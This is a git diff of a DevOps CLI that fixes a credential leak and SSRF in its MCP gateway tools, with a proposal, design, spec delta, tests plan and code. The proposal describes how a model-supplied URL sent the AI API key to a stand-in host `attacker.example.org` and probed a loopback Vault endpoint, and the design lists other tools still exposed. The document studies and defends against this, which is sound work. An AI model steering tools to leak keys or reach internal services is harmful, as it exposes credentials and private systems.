diff --git a/SECURITY.md b/SECURITY.md index 42bd153692..ff1080f3be 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -29,6 +29,7 @@ All code authored in or evaluated by DevOps CLI must strictly adhere to the foll 8. **Repository Hygiene**: Never write an internal hostname (`*.lan`, `*.local`, a machine name), a private address (RFC 1918), a private registry, a non-standard NodePort, a device or mount path, or the cluster topology into a committed file. Use ``, ``, `` or `` for a host, RFC 5737 blocks (`192.0.2.0/24`, `198.51.100.0/24`, `203.0.113.0/24`) or loopback for an address, `ghcr.io//:` for a registry and `` for a path. Committed templates (`config.example.yaml`) use localhost endpoints. The user's `config.yaml` is not committed: never reset its URLs or ports. `tests/invariants/test_committed_addresses.py` holds this rule for addresses and `.lan` hosts. It parses each tracked file with `ipaddress` and fails on an RFC 1918 host address or a `.lan` host. A range in CIDR form names no machine, and the upstream defaults and examples that the test names (the minikube node, the AKS DNS service, the OpenTelemetry `server.address` example) are not ours, so both pass. Test code, which must hold private addresses to test the egress and reference classifiers, the archived OpenSpec changes and `CHANGELOG.md`, which release-please writes, are outside its scope. 9. **No Phone-Home**: Turn off third-party telemetry, usage reports, crash analytics and update checks in every tool, workload and container when the user loses no function. Examples are `DO_NOT_TRACK=1`, `GOTELEMETRY=off`, `PIP_DISABLE_PIP_VERSION_CHECK=1`, `CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1`, `HF_HUB_DISABLE_TELEMETRY=1` and `OPENSPEC_TELEMETRY=0`. Ask the user before you turn off a feature that shows content, such as update notices or a marketplace. 10. **Bounded Error Detail**: Cap each external value in an exception `details` dictionary or a structured log at 256 characters (CWE-209, CWE-400). +11. **MCP Tool Inputs**: A URL or host that a model gives to an MCP tool is untrusted input, not configuration. A tool publishes no option for it, and queries the service that the configuration names. `_PATH_PARAM_RESTRICTIONS` in `src/devops_cli/ai/mcp/generator.py` sets the options that a tool publishes. A credential goes only to the origin that the configuration names, whatever the egress level is. `_key_for` in `src/devops_cli/ai/gateway.py` applies this rule to the AI API key. A tool that publishes such an option is a defect. --- diff --git a/docs/CLI_REFERENCE.md b/docs/CLI_REFERENCE.md index fa2eb3980a..19d638dc39 100644 --- a/docs/CLI_REFERENCE.md +++ b/docs/CLI_REFERENCE.md @@ -5009,7 +5009,7 @@ devops ai gateway routes [OPTIONS] | Option / Flag | Type | Default | Description | |---|---|---|---| -| `--gateway-url`, `-u` | `string` | - | Optional gateway base URL override. | +| `--gateway-url`, `-u` | `string` | - | Optional gateway base URL override. Only the configured gateway gets the AI API key. | | `--provider`, `-p` | `string` | - | Gateway provider: litellm or portkey. | | `--format`, `-f` | `string` | `table` | Output format: table or json. | @@ -5097,7 +5097,7 @@ devops ai gateway tune [OPTIONS] | `--rounds` | `integer` | `2` | Requests per worker at each concurrency level. | | `--prompt-tokens` | `integer` | `512` | Prompt size in tokens. | | `--max-tokens` | `integer` | `200` | Completion tokens requested per call. | -| `--gateway-url`, `-u` | `string` | - | Optional gateway base URL override. | +| `--gateway-url`, `-u` | `string` | - | Optional gateway base URL override. Only the configured gateway gets the AI API key. | | `--namespace`, `-n` | `string` | `llm` | Namespace of the gateway deployment. | | `--deployment` | `string` | `llm-gateway` | Gateway deployment to run the sweep in. | | `--context` | `string` | - | Kubernetes context override. | diff --git a/docs/MCP_TOOLS.md b/docs/MCP_TOOLS.md index abfdcae1b6..f58f71da0f 100644 --- a/docs/MCP_TOOLS.md +++ b/docs/MCP_TOOLS.md @@ -314,7 +314,6 @@ Directly probe health and latency of an inference backend. | Parameter | Type | Required | Default | Description | |---|---|---|---|---| | `backend` | `string` | Yes | - | Backend to probe (e.g. ollama). | -| `backend_url` | `string` | No | - | Optional backend base URL override. | ### `ai_gateway_routes` @@ -326,7 +325,6 @@ List registered virtual models and target backend inference instances. | Parameter | Type | Required | Default | Description | |---|---|---|---|---| -| `gateway_url` | `string` | No | - | Optional gateway base URL override. | | `provider` | `string` | No | - | Gateway provider: litellm or portkey. | ### `ai_gateway_status` @@ -339,7 +337,6 @@ Probe LLM Gateway health, latency, and circuit breaker metrics. | Parameter | Type | Required | Default | Description | |---|---|---|---|---| -| `gateway_url` | `string` | No | - | Optional gateway base URL override. | | `provider` | `string` | No | - | Gateway provider: litellm or portkey. | ### `ai_harness_offload` diff --git a/docs/commands/ai.md b/docs/commands/ai.md index bc7bb7f5e8..cdd350f01d 100644 --- a/docs/commands/ai.md +++ b/docs/commands/ai.md @@ -1599,7 +1599,7 @@ devops ai gateway routes [OPTIONS] | Option / Flag | Type | Default | Description | |---|---|---|---| -| `--gateway-url`, `-u` | `string` | - | Optional gateway base URL override. | +| `--gateway-url`, `-u` | `string` | - | Optional gateway base URL override. Only the configured gateway gets the AI API key. | | `--provider`, `-p` | `string` | - | Gateway provider: litellm or portkey. | | `--format`, `-f` | `string` | `table` | Output format: table or json. | @@ -1687,7 +1687,7 @@ devops ai gateway tune [OPTIONS] | `--rounds` | `integer` | `2` | Requests per worker at each concurrency level. | | `--prompt-tokens` | `integer` | `512` | Prompt size in tokens. | | `--max-tokens` | `integer` | `200` | Completion tokens requested per call. | -| `--gateway-url`, `-u` | `string` | - | Optional gateway base URL override. | +| `--gateway-url`, `-u` | `string` | - | Optional gateway base URL override. Only the configured gateway gets the AI API key. | | `--namespace`, `-n` | `string` | `llm` | Namespace of the gateway deployment. | | `--deployment` | `string` | `llm-gateway` | Gateway deployment to run the sweep in. | | `--context` | `string` | - | Kubernetes context override. | diff --git a/openspec/changes/archive/2026-10-29-2480-mcp-gateway-url-override/.openspec.yaml b/openspec/changes/archive/2026-10-29-2480-mcp-gateway-url-override/.openspec.yaml new file mode 100644 index 0000000000..5c99d6d744 --- /dev/null +++ b/openspec/changes/archive/2026-10-29-2480-mcp-gateway-url-override/.openspec.yaml @@ -0,0 +1,2 @@ +schema: spec-driven +created: 2026-10-29 diff --git a/openspec/changes/archive/2026-10-29-2480-mcp-gateway-url-override/design.md b/openspec/changes/archive/2026-10-29-2480-mcp-gateway-url-override/design.md new file mode 100644 index 0000000000..2c6b8fa805 --- /dev/null +++ b/openspec/changes/archive/2026-10-29-2480-mcp-gateway-url-override/design.md @@ -0,0 +1,30 @@ +# Design + +## Decisions + +- **The MCP tools publish no URL.** `_PATH_PARAM_RESTRICTIONS` already lets a command publish some of its options. The three gateway commands get an entry each: `provider` for `status` and `routes`, `backend` for `probe-backend`. The tools query the configured gateway and the first of `ai.ollama_urls`. A model has no URL to give, so the egress defect has no input. A call that names `gateway_url` or `backend_url` fails at the argument contract, before any command runs. +- **The commands keep their URL options.** A person types `--gateway-url` and `--backend-url` at the command line. These URLs dial at the configured level. `--source` of `devops ai cost update-pricing` and `--servers` of `devops ai benchmark` do the same (#2422). No model sits between the person and the option, so no input needs a stricter level. +- **The key rule is where the header is attached.** `_query_model_info` calls `_key_for`. It gives the key only when the origin of the URL is the origin of `ai.gateway_url` or `ai.portkey_url`. Every caller of `fetch_model_info` gets the rule: the router, the tuning sweep, the run store and the reasoning check of the OpenAI client. A caller passes its `ai_config`. Without one, the function reads the loaded settings, as `configured_level` does. +- **An origin is the scheme, host and port.** `httpx2.URL.origin` gives them, and it normalizes the case of the host and the default port. The path is not part of the origin. So `--gateway-url http://example.com:4000/another/path` still gets the key. +- **Both gateway URLs count as configured.** Under the Portkey provider, the router queries `ai.portkey_url`. A rule for `ai.gateway_url` alone would take the key from that query. +- **A refusal says that the gateway got no key.** When a gateway of another origin answers HTTP 401 or 403 and a key is set, "no API key is configured" would mislead. `fetch_model_info` raises an `AICredentialsError` that names the host and port of the gateway. It gives no URL, because a URL can hold user information. +- **The tests are in `tests/test_ai_gateway.py`.** The file already tests these commands and tools. The new tests use `scripted_resolver` and `record_connects`, and read the bytes on the wire. The floor sets `DEVOPS_CLI_AI_ALLOW_PRIVATE_NETWORK`, which outranks the config file. So the level tests set that variable and give the URLs through the `config` fixture. +- **`SECURITY.md` gets principle 11.** The lesson is general. A URL from a model is untrusted input, and a credential goes only to the origin that the configuration names. + +## Rejected alternatives + +- **Keep the MCP options and dial them at the public level.** The `EgressLevel.PUBLIC` docstring names this level for a URL that a model gives. It stops the loopback scan. But the model could still make the tool send a GET request to any public host. `probe-backend` returns up to 256 characters of the error and the model names. No tool needs the option, because each one reports the configured service. +- **Give the URL option of the command line the public level too.** The tools were the only path from a model to the option. A public level for a person would also refuse a gateway that the person runs on loopback. `--source` and `--servers` dial at the configured level for the same person. +- **Put the rule in the router only.** The first version of this change did so. `fetch_model_info` and `tune_pool` still sent the key to any URL, and `devops ai gateway tune --gateway-url` could send the key to another host. The rule belongs where the header is attached. +- **Compare only the host, or test the start of the URL.** A port that starts with the configured port, such as `:40000` for `:4000`, starts with the configured URL. A different port or scheme is a different service. The origin of httpx2 has these cases right, and the test rows hold each of them. +- **An invariant test that no MCP tool publishes a URL option.** Other tools publish one, and each one is an open defect (see Open exceptions). An invariant needs an allow list of them, and an allow list is an escape. Each fix removes its tool from the list of defects. + +## Open exceptions + +These MCP tools still publish a URL or address option that the model fills in. Each has its own issue with a probe. + +- `valkey_*` (`url`): the Valkey password goes to the URL (#2634). +- `k8s_logs` (`loki_url`): a private-level GET to any path, with the answer text returned (#2635). +- `ai_prewarm` (`url`): a POST to any loopback path (#2637). +- `ai_benchmark` (`servers`, `models`): POST requests to any loopback path (#2638). +- `vault_status` (`vault_addr`): a private-level GET to any path (#2639). diff --git a/openspec/changes/archive/2026-10-29-2480-mcp-gateway-url-override/proposal.md b/openspec/changes/archive/2026-10-29-2480-mcp-gateway-url-override/proposal.md new file mode 100644 index 0000000000..669f021f77 --- /dev/null +++ b/openspec/changes/archive/2026-10-29-2480-mcp-gateway-url-override/proposal.md @@ -0,0 +1,55 @@ +# Proposal + +## Why + +Issue #2480. The MCP tools `ai_gateway_status`, `ai_gateway_routes` and `ai_gateway_probe_backend` are read-only tools. Each tool published a URL option, `gateway_url` or `backend_url`, that the calling model fills in. The command used that URL as configuration. This caused two defects. + +1. A URL from the model dialled at the configured level. Since #2422, this level admits loopback without `ai.allow_private_network`. A call of `ai_gateway_probe_backend` with a loopback `backend_url` sent GET requests to a service of the host. The tool returned the status and the model names. +2. The model query put `Authorization: Bearer ` on the request to each URL. A call of `ai_gateway_routes` with a public `gateway_url` sent the key to that host. No egress level stops this, because each level admits a public address. + +Both defects have one cause. Input from a caller is used as configuration. + +## What Changes + +- The three MCP tools publish no URL option. `ai_gateway_status` and `ai_gateway_routes` publish only `provider`. `ai_gateway_probe_backend` publishes only `backend`. The tools query the configured gateway and backend. A call that gives a URL fails and sends no request. The commands keep `--gateway-url` and `--backend-url` for a person. +- `fetch_model_info` sends the AI API key only to a gateway that the configuration names. `ai.gateway_url` and `ai.portkey_url` name a gateway. The check compares scheme, host and port. `devops ai gateway routes` and `devops ai gateway tune` get the rule through this function. +- A gateway of another origin that refuses the request gets an error. The error says that the gateway got no key. It does not ask for a key. +- The help of `--gateway-url` for `routes` and `tune` says that only the configured gateway gets the key. +- `SECURITY.md` gets principle 11, the rule for a URL that a model gives to an MCP tool. +- A consumer sees the tool schemas and the requests, so the change carries a spec delta. It adds three requirements to the capability `ai-gateway-routing`. +- This change fits one pull request. + +## Capabilities + +### New Capabilities + +None. + +### Modified Capabilities + +- `ai-gateway-routing`: three new requirements. "The MCP gateway tools publish no URL" gives the tool schemas and the refusal of a URL. "The MCP gateway tools dial the configured gateway at the configured level" gives the level of their requests. "The AI API key goes only to the configured gateway" gives the origin rule of the model query. + +## Impact + +- `src/devops_cli/ai/gateway.py`, `src/devops_cli/ai/client/openai.py`, `src/devops_cli/ai/mcp/generator.py`, `src/devops_cli/commands/ai_gateway.py`. +- `tests/test_ai_gateway.py`. +- `docs/MCP_TOOLS.md`, `docs/CLI_REFERENCE.md` and `docs/commands/ai.md` (generated), and `SECURITY.md`. + +## Feasibility + +- On `origin/main` at `a3eb41f4`, a test with `scripted_resolver` and `record_connects` from `tests/web_fakes.py` showed both defects. + - `GatewayRouter(...).list_routes("https://attacker.example.org/v1")` dialled `93.184.215.14:443`. It wrote `GET /v1/model/info` with `Authorization: Bearer sk-secret`. + - The tool `ai_gateway_routes` wrote the same request when it got `gateway_url`. + - The tool `ai_gateway_probe_backend` dialled `127.0.0.1:8200` when it got a loopback `backend_url`. `ai.allow_private_network` was false. It wrote `GET /v1/sys/seal-status?x=/health` and returned `healthy: true`. +- `generate_mcp_tools` publishes each Click option of a command. `_PATH_PARAM_RESTRICTIONS` in `src/devops_cli/ai/mcp/generator.py` is the existing way to publish fewer options. `telemetry profile` uses it. `ArgumentContractMiddleware` refuses a parameter that the published schema does not name. +- httpx2 2.13.1: `httpx2.URL(...).origin` holds the scheme, host and port. It treats `http://a.example.com` and `HTTP://A.Example.com:80` as equal. `get_url_origin` wraps it. The benchmark runner uses it for the same key rule (#954). +- `fetch_model_info` has four callers. They are `GatewayRouter.list_routes`, `tune_pool`, `gateway_pool` of the run store, and the reasoning check of the OpenAI client. A person can type the URL of the first two. Only `list_routes` sits behind an MCP tool. +- After the change, a probe of `tune_pool` with another origin and an HTTP 401 answer wrote no key. It raised the refusal that names the gateway. + +## Existing Tool Considered + +The change uses `httpx2.URL.origin` through `get_url_origin`. It also uses the `_PATH_PARAM_RESTRICTIONS` table of the MCP generator and the argument contract of the MCP server. No open tool attaches a credential by the origin of a request. httpx strips an `Authorization` header only when a redirect leaves the origin, never on the first request. So the change builds two small functions, `_key_for` and `_withheld_key_refusal`. + +The cost of the two functions is about 3,000 tokens to build and about 500 tokens for each later change that keeps them. The test class `TestTheKeyGoesOnlyToTheConfiguredGateway` is the part to fix when the rule changes. The build takes about one hour. + +The change deletes the `gateway_url` and `backend_url` options of the three MCP tools. It deletes the send of the key to every URL. diff --git a/openspec/changes/archive/2026-10-29-2480-mcp-gateway-url-override/specs/ai-gateway-routing/spec.md b/openspec/changes/archive/2026-10-29-2480-mcp-gateway-url-override/specs/ai-gateway-routing/spec.md new file mode 100644 index 0000000000..15caac51f1 --- /dev/null +++ b/openspec/changes/archive/2026-10-29-2480-mcp-gateway-url-override/specs/ai-gateway-routing/spec.md @@ -0,0 +1,45 @@ +# Spec Delta + +## ADDED Requirements + +### Requirement: The MCP gateway tools publish no URL +The MCP tools `ai_gateway_status`, `ai_gateway_routes` and `ai_gateway_probe_backend` SHALL publish no gateway URL and no backend URL. `ai_gateway_status` and `ai_gateway_routes` SHALL publish only `provider`. `ai_gateway_probe_backend` SHALL publish only `backend`. A call that gives a URL SHALL fail and send no request. + +#### Scenario: The tool schemas +- **WHEN** an MCP client lists the tools +- **THEN** `ai_gateway_status` and `ai_gateway_routes` publish the parameter `provider` and no other, and `ai_gateway_probe_backend` publishes the parameter `backend` and no other + +#### Scenario: A call that gives a backend URL +- **WHEN** a client calls `ai_gateway_probe_backend` with `backend_url` set to a loopback URL +- **THEN** the call fails and the socket gets no dial to that host + +#### Scenario: A call that gives a gateway URL +- **WHEN** a client calls `ai_gateway_routes` or `ai_gateway_status` with `gateway_url` set to a public URL, and the AI API key is set +- **THEN** the call fails, the socket gets no dial to that host, and the AI API key is not on the wire + +### Requirement: The MCP gateway tools dial the configured gateway at the configured level +Each of the three MCP gateway tools SHALL query the configured gateway or backend. It SHALL dial loopback and public addresses. It SHALL dial private addresses only when `ai.allow_private_network` is true. + +#### Scenario: The configured service at the configured level +- **WHEN** a tool runs, and the host of `ai.gateway_url` or `ai.ollama_urls` answers `127.0.0.1` or `192.0.2.10` +- **THEN** the tool dials `127.0.0.1` whatever `ai.allow_private_network` says, and dials `192.0.2.10` only when `ai.allow_private_network` is true + +#### Scenario: The key goes to the configured gateway +- **WHEN** `ai_gateway_routes` runs with the AI API key set +- **THEN** the request to the host of `ai.gateway_url` carries the key + +### Requirement: The AI API key goes only to the configured gateway +The model query of a gateway SHALL send the AI API key only to a configured gateway. A configured gateway has the scheme, host and port of `ai.gateway_url` or `ai.portkey_url`. `devops ai gateway routes` and `devops ai gateway tune` SHALL get this rule. A URL of another origin SHALL get no key, and so SHALL any URL when no gateway is configured. When such a gateway answers HTTP 401 or 403 and a key is set, the error SHALL say that the gateway got no key. It SHALL NOT ask for a key. + +#### Scenario: The configured origin +- **WHEN** `--gateway-url` has the origin of `ai.gateway_url`, with the same path, another path or another spelling of the host +- **THEN** the request carries the AI API key + +#### Scenario: Another origin +- **WHEN** `--gateway-url` has another host, another port, a port that starts with the configured port, or another scheme, or no gateway is configured +- **THEN** the request carries no AI API key + +#### Scenario: Another gateway refuses the request +- **WHEN** a gateway of another origin answers HTTP 401 and the AI API key is set +- **THEN** the error says that this gateway got no key, because the key goes only to the configured gateway +- **AND** the error holds the host and port of that gateway and no URL diff --git a/openspec/changes/archive/2026-10-29-2480-mcp-gateway-url-override/tasks.md b/openspec/changes/archive/2026-10-29-2480-mcp-gateway-url-override/tasks.md new file mode 100644 index 0000000000..eb82730fb7 --- /dev/null +++ b/openspec/changes/archive/2026-10-29-2480-mcp-gateway-url-override/tasks.md @@ -0,0 +1,34 @@ +# Tasks + +## 1. The MCP gateway tools publish no URL + +- [x] Add failing tests: the schema of each tool holds no URL. A call that gives a URL fails, dials nothing and puts no key on the wire. Each tool dials its configured service at the configured level + - Verification: `uv run devops ci test tests/test_ai_gateway.py` +- [x] Give `ai_gateway_status`, `ai_gateway_routes` and `ai_gateway_probe_backend` an entry in `_PATH_PARAM_RESTRICTIONS`, so that they publish only `provider` or `backend` + - Verification: `uv run devops ci test tests/test_ai_gateway.py tests/test_mcp.py tests/test_fastmcp_contracts.py` +- [x] Regenerate the tool documentation + - Verification: `uv run devops docs generate --sync-readme` and `uv run devops docs check` + +## 2. The AI API key goes only to the configured gateway + +- [x] Add failing tests: a request of the model query carries the key only for the origin of a configured gateway, through `list_routes`, `fetch_model_info` and `tune_pool`. A refusal by another gateway says that it got no key. `devops ai gateway routes --gateway-url` of another origin sends no key + - Verification: `uv run devops ci test tests/test_ai_gateway.py` +- [x] Attach the key in `_query_model_info` only for a configured origin, and raise the refusal that says the gateway got no key. Pass the `ai_config` of the router and of the OpenAI client + - Verification: `uv run devops ci test tests/test_ai_gateway.py tests/test_ai_gateway_tune.py tests/test_thinking_providers.py tests/test_http_egress.py` +- [x] Say in the help of `--gateway-url` for `routes` and `tune` that only the configured gateway gets the key, and regenerate the command documentation + - Verification: `uv run devops docs generate --sync-readme` and `uv run devops docs check` + +## 3. The rule is in the security policy + +- [x] Add principle 11 to `SECURITY.md`. A URL from a model is untrusted input for an MCP tool. A credential goes only to the origin that the configuration names + - Verification: `uv run devops docs check` + +## 4. Archive + +- [x] Archive the change + - Verification: `uv run devops openspec archive 2480-mcp-gateway-url-override` + +## Workflow follow-up + +- The other MCP tools that publish a URL option are not part of this change. Design.md lists them as open exceptions. #2634 covers `valkey_*`, #2635 covers `k8s_logs`, #2637 covers `ai_prewarm`, #2638 covers `ai_benchmark` and #2639 covers `vault_status`. +- Pending a person: review the diff in tuicr (tuicr -r origin/main..HEAD). diff --git a/openspec/specs/ai-gateway-routing/spec.md b/openspec/specs/ai-gateway-routing/spec.md index 52eca55e6f..288037b4da 100644 --- a/openspec/specs/ai-gateway-routing/spec.md +++ b/openspec/specs/ai-gateway-routing/spec.md @@ -109,3 +109,45 @@ The gateway configuration SHALL NOT deploy `qwen3.8:27b` or `devops-chat` to the #### Scenario: Gateway deployments for qwen3.8:27b and devops-chat - **WHEN** the gateway configuration is loaded - **THEN** every deployment for `qwen3.8:27b` and `devops-chat` targets `ollama-48gib-fast` or `ollama-64gib-standard`, and no deployment targets `ollama-16gib-fast` + +### Requirement: The MCP gateway tools publish no URL +The MCP tools `ai_gateway_status`, `ai_gateway_routes` and `ai_gateway_probe_backend` SHALL publish no gateway URL and no backend URL. `ai_gateway_status` and `ai_gateway_routes` SHALL publish only `provider`. `ai_gateway_probe_backend` SHALL publish only `backend`. A call that gives a URL SHALL fail and send no request. + +#### Scenario: The tool schemas +- **WHEN** an MCP client lists the tools +- **THEN** `ai_gateway_status` and `ai_gateway_routes` publish the parameter `provider` and no other, and `ai_gateway_probe_backend` publishes the parameter `backend` and no other + +#### Scenario: A call that gives a backend URL +- **WHEN** a client calls `ai_gateway_probe_backend` with `backend_url` set to a loopback URL +- **THEN** the call fails and the socket gets no dial to that host + +#### Scenario: A call that gives a gateway URL +- **WHEN** a client calls `ai_gateway_routes` or `ai_gateway_status` with `gateway_url` set to a public URL, and the AI API key is set +- **THEN** the call fails, the socket gets no dial to that host, and the AI API key is not on the wire + +### Requirement: The MCP gateway tools dial the configured gateway at the configured level +Each of the three MCP gateway tools SHALL query the configured gateway or backend. It SHALL dial loopback and public addresses. It SHALL dial private addresses only when `ai.allow_private_network` is true. + +#### Scenario: The configured service at the configured level +- **WHEN** a tool runs, and the host of `ai.gateway_url` or `ai.ollama_urls` answers `127.0.0.1` or `192.0.2.10` +- **THEN** the tool dials `127.0.0.1` whatever `ai.allow_private_network` says, and dials `192.0.2.10` only when `ai.allow_private_network` is true + +#### Scenario: The key goes to the configured gateway +- **WHEN** `ai_gateway_routes` runs with the AI API key set +- **THEN** the request to the host of `ai.gateway_url` carries the key + +### Requirement: The AI API key goes only to the configured gateway +The model query of a gateway SHALL send the AI API key only to a configured gateway. A configured gateway has the scheme, host and port of `ai.gateway_url` or `ai.portkey_url`. `devops ai gateway routes` and `devops ai gateway tune` SHALL get this rule. A URL of another origin SHALL get no key, and so SHALL any URL when no gateway is configured. When such a gateway answers HTTP 401 or 403 and a key is set, the error SHALL say that the gateway got no key. It SHALL NOT ask for a key. + +#### Scenario: The configured origin +- **WHEN** `--gateway-url` has the origin of `ai.gateway_url`, with the same path, another path or another spelling of the host +- **THEN** the request carries the AI API key + +#### Scenario: Another origin +- **WHEN** `--gateway-url` has another host, another port, a port that starts with the configured port, or another scheme, or no gateway is configured +- **THEN** the request carries no AI API key + +#### Scenario: Another gateway refuses the request +- **WHEN** a gateway of another origin answers HTTP 401 and the AI API key is set +- **THEN** the error says that this gateway got no key, because the key goes only to the configured gateway +- **AND** the error holds the host and port of that gateway and no URL diff --git a/src/devops_cli/ai/client/openai.py b/src/devops_cli/ai/client/openai.py index 4d3f34dc4a..340bc1903f 100644 --- a/src/devops_cli/ai/client/openai.py +++ b/src/devops_cli/ai/client/openai.py @@ -147,6 +147,7 @@ def _supports_reasoning(self) -> bool: gateway_url=gw_url, allow_private=allow_private, api_key=self._api_key, + ai_config=self._config, ) return False diff --git a/src/devops_cli/ai/gateway.py b/src/devops_cli/ai/gateway.py index b1cb21fcef..f5714ee550 100644 --- a/src/devops_cli/ai/gateway.py +++ b/src/devops_cli/ai/gateway.py @@ -18,7 +18,7 @@ from pydantic import BaseModel, ConfigDict, Field from devops_cli.ai.capability import validate_failover_capability -from devops_cli.ai.client.models import credentials_error +from devops_cli.ai.client.models import AICredentialsError, credentials_error, origin_label from devops_cli.config.constants import ( CONST_AI_BACKENDS, CONST_AI_GATEWAY_DEFAULT_ROUTE, @@ -34,6 +34,7 @@ from devops_cli.exceptions import ConfigurationError, ValidationError from devops_cli.http.client import new_http_client from devops_cli.http.egress import EgressLevel, configured_level +from devops_cli.http.urls import get_url_origin from devops_cli.telemetry import trace_span from devops_cli.telemetry.instruments import ( AI_GATEWAY_FAILOVERS_TOTAL, @@ -272,6 +273,35 @@ def _sanitize_api_key_header(api_key: str | None) -> dict[str, str]: return {"Authorization": f"Bearer {clean}"} +def _configured_gateway_origins(ai_config: AIConfig) -> set[httpx2.Origin]: + """The origins of the gateways that the configuration names: `ai.gateway_url`, `ai.portkey_url`.""" + return { + origin + for url in (ai_config.gateway_url, ai_config.portkey_url) + if url and (origin := get_url_origin(str(url))) + } + + +def _key_for(gateway_url: str, api_key: str | None, ai_config: AIConfig) -> str | None: + """The AI API key when `gateway_url` has the origin of a configured gateway, else None. + + A URL that a caller gives is input, not configuration. The key goes only to the gateways that + the configuration names, whatever the URL says (#2480). + """ + if get_url_origin(gateway_url) in _configured_gateway_origins(ai_config): + return api_key + return None + + +def _withheld_key_refusal(gateway_url: str) -> AICredentialsError: + """The refusal of a gateway that is not a configured one, and so got no AI API key.""" + return AICredentialsError( + f"The LLM gateway at {origin_label(httpx2.URL(gateway_url).origin)} requires an API key. " + "The AI API key goes only to the configured gateway, so this gateway got none. " + "To use the key with this gateway, make it the configured gateway." + ) + + def _fetch_endpoint_resp( http_client: httpx2.Client, gateway_url: str, headers: dict[str, str] ) -> httpx2.Response: @@ -286,13 +316,19 @@ def _query_model_info( allow_private: bool, api_key: str | None, client: httpx2.Client | None = None, + *, + ai_config: AIConfig | None = None, ) -> Any: """GET the gateway's /model/info (falling back to /models); None when unreachable. + The request carries the AI API key only when `gateway_url` has the origin of a gateway that + `ai_config` names, or that the loaded settings name without it. + Without a `client`, the query dials at the configured level: loopback, or private when `allow_private` (`ai.allow_private_network`) is set. The connect checks the address. """ - headers = _sanitize_api_key_header(api_key) + config = load_settings().ai if ai_config is None else ai_config + headers = _sanitize_api_key_header(_key_for(gateway_url, api_key, config)) level = EgressLevel.PRIVATE if allow_private else EgressLevel.LOOPBACK try: if client is not None: @@ -309,16 +345,24 @@ def fetch_model_info( allow_private: bool, api_key: str | None = None, client: httpx2.Client | None = None, + *, + ai_config: AIConfig | None = None, ) -> list[dict[str, Any]] | None: """Return the gateway's `/model/info` entries; None when it is unreachable or lists nothing. - Raises AICredentialsError when the gateway rejects the request, rather than letting the - caller fall back to defaults that do not describe the gateway. + The AI API key goes only to a gateway that `ai_config` names, or that the loaded settings name + without it. Raises AICredentialsError when the gateway rejects the request, rather than letting + the caller fall back to defaults that do not describe the gateway. When that gateway got no key + because it is not a configured one, the error says so. """ - resp = _query_model_info(gateway_url.rstrip("/"), allow_private, api_key, client=client) + config = load_settings().ai if ai_config is None else ai_config + url = gateway_url.rstrip("/") + resp = _query_model_info(url, allow_private, api_key, client=client, ai_config=config) if resp is None: return None if resp.status_code in (401, 403): + if api_key and _key_for(url, api_key, config) is None: + raise _withheld_key_refusal(url) raise credentials_error("The LLM gateway", has_key=bool(api_key), status=resp.status_code) if resp.status_code >= 400: return None @@ -370,6 +414,7 @@ def resolve_gateway_reasoning_models( *, data: list[dict[str, Any]] | None = None, client: httpx2.Client | None = None, + ai_config: AIConfig | None = None, ) -> dict[str, bool]: """Return model_name -> supports_reasoning map for gateway, cached per process.""" if data is not None: @@ -377,7 +422,9 @@ def resolve_gateway_reasoning_models( key = (gateway_url.rstrip("/"), api_key) if key in _GATEWAY_REASONING_CACHE: return _GATEWAY_REASONING_CACHE[key] - raw_data = fetch_model_info(gateway_url, allow_private, api_key, client=client) + raw_data = fetch_model_info( + gateway_url, allow_private, api_key, client=client, ai_config=ai_config + ) result = parse_gateway_reasoning_models(raw_data) _GATEWAY_REASONING_CACHE[key] = result return result @@ -391,19 +438,20 @@ def is_gateway_model_reasoning( *, data: list[dict[str, Any]] | None = None, client: httpx2.Client | None = None, + ai_config: AIConfig | None = None, ) -> bool: """Check if model_name is declared with supports_reasoning in gateway deployments.""" caps = resolve_gateway_reasoning_models( - gateway_url, allow_private, api_key, data=data, client=client + gateway_url, allow_private, api_key, data=data, client=client, ai_config=ai_config ) return caps.get(model_name, False) def _fetch_remote_routes( - gateway_url: str, allow_private: bool, api_key: str | None = None + gateway_url: str, allow_private: bool, api_key: str | None, ai_config: AIConfig ) -> list[GatewayRoute] | None: """Query the gateway's deployments as routes; None when it is unreachable or lists nothing.""" - data = fetch_model_info(gateway_url, allow_private, api_key) + data = fetch_model_info(gateway_url, allow_private, api_key, ai_config=ai_config) return _parse_remote_model_items(data, gateway_url.rstrip("/")) or None if data else None @@ -462,10 +510,13 @@ def gateway_url(self) -> str: return self.config.gateway_url def list_routes(self, gateway_url: str | None = None) -> list[GatewayRoute]: - """Return configured or live queried virtual model routes.""" + """Return configured or live queried virtual model routes. + + A `gateway_url` other than the configured gateway gets no AI API key. + """ if gateway_url: remote = _fetch_remote_routes( - gateway_url, self.config.allow_private_network, self._api_key + gateway_url, self.config.allow_private_network, self._api_key, self.config ) if remote is not None: return remote diff --git a/src/devops_cli/ai/mcp/generator.py b/src/devops_cli/ai/mcp/generator.py index 7de9fba592..e0ad4eed9b 100644 --- a/src/devops_cli/ai/mcp/generator.py +++ b/src/devops_cli/ai/mcp/generator.py @@ -22,11 +22,21 @@ _INTEGER_ID_PARAM_NAMES: frozenset[str] = frozenset( {"number", "pr_number", "issue_number", "run_id"} ) +# The options of a command that its MCP tool publishes. A command lists an option here when the +# other options are for a person at the command line. A URL option is input from the model that +# calls the tool, so the tool does not publish it. The tool queries the service that the +# configuration names. _PATH_PARAM_RESTRICTIONS: dict[tuple[str, ...], dict[str, Any]] = { ("telemetry", "profile"): { "allowed": frozenset({"trace_id"}), "required": frozenset({"trace_id"}), }, + ("ai", "gateway", "status"): {"allowed": frozenset({"provider"}), "required": frozenset()}, + ("ai", "gateway", "routes"): {"allowed": frozenset({"provider"}), "required": frozenset()}, + ("ai", "gateway", "probe-backend"): { + "allowed": frozenset({"backend"}), + "required": frozenset(), + }, } diff --git a/src/devops_cli/commands/ai_gateway.py b/src/devops_cli/commands/ai_gateway.py index 6de558c275..d1c9ede013 100644 --- a/src/devops_cli/commands/ai_gateway.py +++ b/src/devops_cli/commands/ai_gateway.py @@ -127,7 +127,11 @@ def status_cmd( def routes_cmd( gateway_url: Annotated[ str | None, - typer.Option("--gateway-url", "-u", help="Optional gateway base URL override."), + typer.Option( + "--gateway-url", + "-u", + help="Optional gateway base URL override. Only the configured gateway gets the AI API key.", + ), ] = None, provider: Annotated[ str | None, @@ -447,7 +451,11 @@ def tune_cmd( ] = DEFAULT_GATEWAY_TUNE_MAX_TOKENS, gateway_url: Annotated[ str | None, - typer.Option("--gateway-url", "-u", help="Optional gateway base URL override."), + 